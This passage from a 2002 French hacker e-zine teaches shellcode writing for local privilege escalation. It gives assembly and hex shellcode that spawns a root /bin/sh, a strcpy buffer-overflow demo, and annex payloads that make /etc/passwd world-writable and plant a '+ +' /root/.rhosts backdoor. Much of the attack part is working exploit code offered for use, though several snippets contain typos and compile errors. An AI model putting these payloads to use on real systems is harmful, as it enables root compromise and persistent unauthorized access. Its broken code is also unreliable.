 #include <string.h>

 int main(void){
 char mes[256]="H3110 w0r1:)!\n";
 write(1, mes, sizeof(mes)); /* utilisation de write pour crire dans le fd */
 return 0;
 }
----8<----------------------------


La fonction write se prsente donc ainsi:

     write(int fd, char *mes, size_t size)

Avec, fd: le file descriptor, mes: le message, et size: la taille de notre message.



----8<---------hello.S-------------------------------------------------------
 .data
 mes:
 .string "H3110 w0r1:)!\n" //Le message
 meslen:
 .equ    len, meslen - mes // La taille du message
 
 .global main
 main:                     // La fonction main
 movl $0x4, %eax           // numro d'appel systme 4
 movl $0x1, %ebx           // File descriptor = 1 = stdout
 movl $mes, %ecx           // le message dans %ecx
 movl $meslen, %edx        // La taille du mes dans %edx
 int  $0x80                // Interruption dans le kernel et on appel la fonction write
 xorl %eax, %eax           // %eax=0
 andl %ebx, %eax           // %ebx=0            
 incl %eax                 // %eax=1
 int $0x80                 // On appel la fonction quitter

----8<-----------------------------------------------------------------------


On compile le tout et on xcute:

 $ g++ hello hello.S
 $ ./hello
   H3110 w0r1:)!
 $
 
Notre but principal sera donc, de spawner un shell pour acqurir le root ; notez que 
ce  shellcode ne pourra tre utilis que dans le cadre d'un exploit local. Les remote 
exploits seront tudis prochainement. Donc nous allons xcuter un shell, pourquoi pas 
/bin/sh? On va se setreuid(0,0) au cas o ; de toute faon ce ne peut que tre bnfique 
du point de vue apprentissage de ce langage d'assemblage. Il est vrai que l'assembleur 
peut paratre difficile  l'oeil non-averti, mais il se limite  la manipulation de 
registres primitifs.


Continuons, notre programme en C:

----8<--------------------------

 #include <stdio.h>

 int main(void){
 char *shell[2]
 streuid(0,0);
 shell[0]= "/bin/sh";
 shell[1]= NULL;
 execve(shell[0], shell, NULL);
 return 0;
 }

----8<---------------------------



Lors de la fonction main, on commence par se donner un accs root, bien qu'inutile 
ici vu que nous travaillons dans le cadre d'un dpassement de tampon ; les droits 
sont alors abstrait, mais cela est toujours utile de savoir "se rooter" en shellcode. 

On a dfinie un ptr sur le char shell, contenant la chaine /bin/sh, suivit d'un caractre 
NULL pour le terminer. Puis, on xcute le tout. Notez que compiler et xcuter au format 
asm tel quel, ne fonctionnera et spawnera le shell que si vous tes dj root. 
Ce code fonctionne dans sa totalit sous forme de shellcode exploit dans un BO.

----8<----------bin.S---------------------------------------------------------

 [.texte]                  #|-
 [.globl shellcode]        #|Pour le fichier cshell.c plus bas, omettre sinon
 [shellcode:]              #|-
 jmp 0x1c                  # On jump to call              
 popl %ebx                 # On met l'adresse de bin/sh dans %ebx
 movl %ebx,0x8(%ebx)       # on stocke %ebx  %ebx+0x8
 xorl %eax,%eax            # %eax=0
 movb %eax,0x7(%ebx)       # NULL  la fin du string
 movl %eax,0xc(%ebx)
 movb $0xb,%al             # On appel execve
 leal 0x8(%ebx),%ecx       # On charge %ecx avec adresse %ebx+0x8
 leal 0xc(%ebx),%edx       # On charge %edx avec adresse %edx+0xc
 int  $0x80                # On xcute
 xorl %eax,%eax 
 inc  %al
 int  $0x80                # On quitte
 call -0xce                # On met l'adresse au sommet de la pile
 .string "bin/sh"

-----8<-----------------------------------------------------------------------
 


On compile et on xcute:

 $ g++ bin bin.S
 $ ./bin
 sh-x.xx$



A prsent, l'heure est  la programmation en shellcode. Non on ne va pas encore 
coder un shellcode en brut (ne vous inquitez pas, je vous concocte a pour bientt), 
mais on va plutt tenter de se procurer le fameux shellcode  partir de notre code en 
assembleur. Pour cela, crivons un petit prog tout simple en C. Ce dernier va se 
contenter d'ouvrir le fichier .S dans lequel setrouve notre code, ASM puis,  partir 
des instructions ASM, il nous donne le shellcode correspondant.


Notez qu'il y a deux arguments, -t pour voir la taille du shellcode, et -s pour 
sauvegarder le shellcode dans un fichier. 

-----8<--------cshell.c------------------------------------------------------

 #include <stdio.h>

 void shellcode();
 int cree_shellcode(int sf, FILE *ff, char *shellcode)
 {
  int i=0;
  int j=0;
  printf("shellcode=\n");
  printf("\"");
   while(shellcode[i]){ 
        if (sf==1){
         if ((fopen(ff, "w+"))<0){ 
             printf("Erreur lors de la cration/ouverture du fichier\n"); 
             exit(1);
         }
        }
          if((j%10==0) && (j!=0)){ printf("\"\n\""); }
          printf("\\x%.2x",(shellcode[i]&0xff));
          if (sf==1){ fprintf(ff,"\\x%.2x",(shellcode[i]&0xff) ); }
          i++;
          j++;
   }
  if (sf==1){ fclose(ff); }
  printf("\" ;\n");
  return 0;
 }

 int main(int argc, char *argv[])
  {
   int t=0,s1;
   File *ff;
        while( (argc > 1) && (argv[1][0]=='-'))
	  {
	    switch(argv[1][1])
	      {
	      case 's':
                s=1;
	        ff=&argv[1][2];
	        break;
	      case 't':
	        t=1;
	        break;
	      }
	    --argc;
	    ++argv;
	  }
     cree_shellcode(s, ff, (char *)shellcode);
     if (t==1){ printf("-> taille_shellcode: %d <-\n",strlen((char *)shellcode));}
     return 0;
  }

-----8<----------------------------------------------------------------------


On compile le tout, aprs avoir stock notre asm code dans un fichier .S:

 $ gcc cshell cshell.s fichier.S    // le fichier.S contient le code asm dans sa totalit


On xcute alors notre cshell pour avoir notre shellcode  partir du code asm, c'est parti!

Remarques:  o l'argument -s permet de sauvegarder le shellcode dans un fichier
            o l'argument -t permet de calculer la taille en octets de notre shellcode

 $ ./cshell -t 

shellcode="
  \xeb\x1c\x5b\x89\x5b\x08\x31\xc0\x88\x43
  \x07\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d
  \x53\x0c\xcd\x80\x32\xc0\xe8\xce\xff\xff
  \xff/bin/sh"
  -> taille_shellcode: xx octets <-


Je n'ai pas calcul la taille, car le shellcode a t fait main, pour la connaitre 
xcutez cshell. Il ne nous reste plus qu' exploiter ce shellcoder au travers d'un 
dpassement de tampon pour spawner ce fameux /bin/sh en root.

----8<----------the_last_one.c------------------------------------------------

 void function(char *str) {
   char shellcode[46]=
   "\xeb\x1c\x5b\x89\x5b\x08\x31\xc0\x88\x43"
   "\x07\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d"
   "\x53\x0c\xcd\x80\x32\xc0\xe8\xce\xff\xff"
   "\xff/bin/sh"

    strcpy(str,shellcode);
 }

 void main() {
   char large_string[256];
   int i;

   for( i = 0; i < 255; i++)
     large_string[i] = 'A';

   function(large_string);
 }

----8<-----------------------------------------------------------------------

 
Et voila, ce petit code mettant en relief une faille type dpassement de tampon au 
niveau de la fonction strcpy, va copier  la suite d'une chaine string (remplie de "A"), 
notre shellcode qui va tre pass au processeur, pour enfin lancer le shell en root. 

Gotcha! Nous avons donc vu les bases de la maitrise du buffer overflow, actuellement 
une notion plus que fondamental. Les shellcodes tudis sont tous simples, encore, 
je vous conseille vivement d'aller lire le texte de smiler sur l'art d'crire des 
shellcodes (disponible sur ouah) ; il aborde rapidement quelques types optimiss, 
comme les types anti-IDS ( qui passent  travers les systmes de filtrage en remote) 
ou encore les remote shellcodes bindant un port. La prochaine fois, j'essaierai de 
vous prsenter d'autres types de shellcodes plus avancs (polymorphic style for e.g). 

Bon, pas de conclusion banale du style "j'espre vous avoir appris quelque chose", 
mais plutt un souhait pour une bonne continuation, et arrtez par piti de passer 
le plus clair de votre temps  vituprer une thiques purils quelque qu'elle soit ... 
Ce n'est l que perte de temps inutile.






  ANNEXE : Shellcodes par Neofox 
  ______________________________


J'ai decouvert, il y a peu, le monde merveilleux de la prog Assembleur, et dans la 
foule, celui de l'criture de shellcodes. Peut-tre servieront-ils  quelqu'un, 
ou peut-tre que non, a n'a pas grande importance. Ca ne va pas non plus rvolutionner 
la scne, mais je vous les donne quand mme  tout hasard, avec le code asm correspondant. 
Pour dsassembler, je me suis servi de 'objdump' => "% objdump -d file", a change de gdb.




/* chmod shellcode      53bytes long
 *
 * Shellcode fort symathique qui fait appel 
 * setreuid() puis mets /etc/passwd au mode 666.
 * 
 */
char shellcode2[]=

    "\x31\xdb"              /* xor    %ebx,%ebx   */
    "\x31\xc9"              /* xor    %ecx,%ecx   */
    "\xb0\x46"              /* mov    $0x46,%al   */
    "\xcd\x80"              /* int    $0x80       */
    "\x31\xc0"              /* xor    %eax,%eax   */
    "\x66\xb9\xb6\x01"      /* mov    $0x1b6,%cx  */
    "\x51"                  /* push   %ecx        */
    "\x89\xe5"              /* mov    %esp,%ebp   */
    "\x50"                  /* push   %eax        */
    "\x68\x73\x73\x77\x64"  /* push   $0x64777373 */
    "\x68\x2f\x2f\x70\x61"  /* push   $0x61702f2f */
    "\x68\x2f\x65\x74\x63"  /* push   $0x6374652f */
    "\x89\xe3"              /* mov    %esp,%ebx   */
    "\x50"                  /* push   %eax        */
    "\x31\xd2"              /* xor    %edx,%edx   */
    "\x55"                  /* push   %ebp        */
    "\x53"                  /* push   %ebx        */
    "\xb0\x0f"              /* mov    $0xf,%al    */
    "\xcd\x80"              /* int    $0x80       */
    "\x31\xc0"              /* xor    %eax,%eax   */
    "\x89\xc3"              /* mov    %eax,%ebx   */
    "\x89\xc1"              /* mov    %eax,%ecx   */
    "\x40"                  /* inc    %eax        */
    "\xcd\x80";             /* int    $0x80       */






/* rhosts shellcode        72bytes long
 *
 * Ce shellcode va crer un fichier /root/.rhosts
 * avec "+ +"  l'intrieur. A partir de l, vous
 * savez quoi faire =)  
 *
 */
char shellcode3[]=

   "\x31\xc0"              /* xor    %eax,%eax   */
   "\x31\xdb"              /* xor    %ebx,%ebx   */
   "\x31\xc9"              /* xor    %ecx,%ecx   */
   "\xb0\x46"              /* mov    $0x46,%al   */
   "\xcd\x80"              /* int    $0x80       */
   "\x50"                  /* push   %eax        */
   "\x29\xd2"              /* sub    %edx,%edx   */
   "\xb1\x42"              /* mov    $0x42,%cl   */
   "\x66\xba\xb6\x01"      /* mov    $0x1b6,%dx  */
   "\x50"                  /* push   %eax        */
   "\x68\x6f\x73\x74\x73"  /* push   $0x7374736f */
   "\x68\x2f\x2e\x72\x68"  /* push   $0x68722e2f */
   "\x68\x6f\x74\x2f\x2f"  /* push   $0x2f2f746f */
   "\x68\x2f\x2f\x72\x6f"  /* push   $0x6f722f2f */
   "\x89\xe3"              /* mov    %esp,%ebx   */
   "\x50"                  /* push   %eax        */
   "\xb0\x05"              /* mov    $0x5,%al    */
   "\xcd\x80"              /* int    $0x80       */
   "\x29\xdb"              /* sub    %ebx,%ebx   */
   "\x29\xd2"              /* sub    %edx,%edx   */
   "\xb3\x03"              /* mov    $0x3,%bl    */
   "\x66\x68\x2b\x2b"      /* pushw  $0x2b2b     */
   "\x89\xe1"              /* mov    %esp,%ecx   */
   "\xb2\x02"              /* mov    $0x2,%dl    */
   "\xb0\x04"              /* mov    $0x4,%al    */
   "\xcd\x80"              /* int    $0x80       */
   "\x31\xc0"              /* xor    %eax,%eax   */
   "\x31\xdb"              /* xor    %ebx,%ebx   */
   "\x40"                  /* inc    %eax        */
   "\xcd\x80";             /* int    $0x80       */






[ Remarques ]

Dans chaque code, vous avez surmement remarqu une srie de 'push'.
En effet, dans le premier shellcode par exemple, il nous faut dans %ebx
un pointeur sur l'adresse de '/bin/sh'. Au lieu de jouer avec 'jmp' et 
'call' pour l'obtenir, j'ai push directement sur la stack le code 
hexadcimal correspondant  '/bin/sh' ( h=68, s=73 ...).
Si vous comptez vous aussi vous amuser  ce petit jeu, pour obtenir la 
conversion en hexa, faites vous un petit code tout simple dans le style
de celui-ci :


/*
 * Conversion hexadcimale
 *
 */
#include <stdio.h>
#include <stdlib.h>

int i;
char alpha[28]={ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 
                'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                'u', 'v', 'w', 'x', 'y', 'z','/','.' }; 

char nbr[10]={ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' };

int main(){

     for(i=0;i<28;i++){
       printf("%c = %x\t",alpha[i], alpha[i]);

    }
   
    
    i=0; printf("\n\n\n");
    for(i=0;i<10;i++){  
       printf("%c = %x\t",nbr[i], nbr[i]);

    } 
     
    printf("\n\n"); 
    return 0;

}














---------------------------------------------------------------------------------------
                                 CONTACTS                                   IOC Staff
---------------------------------------------------------------------------------------


                          
                  ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE :

               
               Meik    :    meik666@hotmail.com         #150635264       
               Neofox  :    neo_fox_2001@hotmail.com    #150837448
               Emper0r :    emper0r@m-net.arbornet.org  #66985563
               Abel    :    abel@fr.st 

 
                          EN COLLABORATION  AVEC :

                   
                    Jackieils :  jackniels@hotmail.com
                    Li0n7     :  killer.kil@voila.fr 


                              
                      
                                 LIENS


                            www.hianda.fr.st
                            www.newffr.org
                            www.rootshell.be/~mrmilow
                            http://jahnastah.org
                            www.rndghost.com
                            www.root-privs.be.tf
                            www.projet7.org
                            www.kernhell.org
                            www.salemioche.com
                            
 
                           

                   




       ____    ___    __ __     ____  __   __   __  ___  __    ___    __ __ 
      /  __| /     \ |  '_  \  /  __||  | |  | |  |/ __/|  | /     \ |  '_  \  
     |  [__ |  [ ]  ||  | |  ||  [__ |  |_|   -   |\__ \|  ||  [ ]  ||  | |  |
      \____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__| 



            Ainsi s'achve cette 4me issue. Bien que nous ayons t plus 
            nombreux que d'habitude  conevoir  ce mag, nous recherchons 
            toujours des collaborateurs, ponctuels ou  plein temps, pour 
            les issues  venir.A l'heure o ce magazine est mis en ligne, 
            Emper0r vient juste de rentrer du LSM2002 (The Libre Software 
            Meeting), un article et des photos pour le prochain numro ?
            Nous allons ds  prsent nous mettre  la ralisation du n5
            mais la date de sortie n'est pas encore fixe ; cela dpendra 
            du nombre  d'articles qui  nous seront  envoys. En attendant,
            passez de bonnes vacances et rendez-vous  la rentre !     
                













                             - Copyright  2002 [IOC] -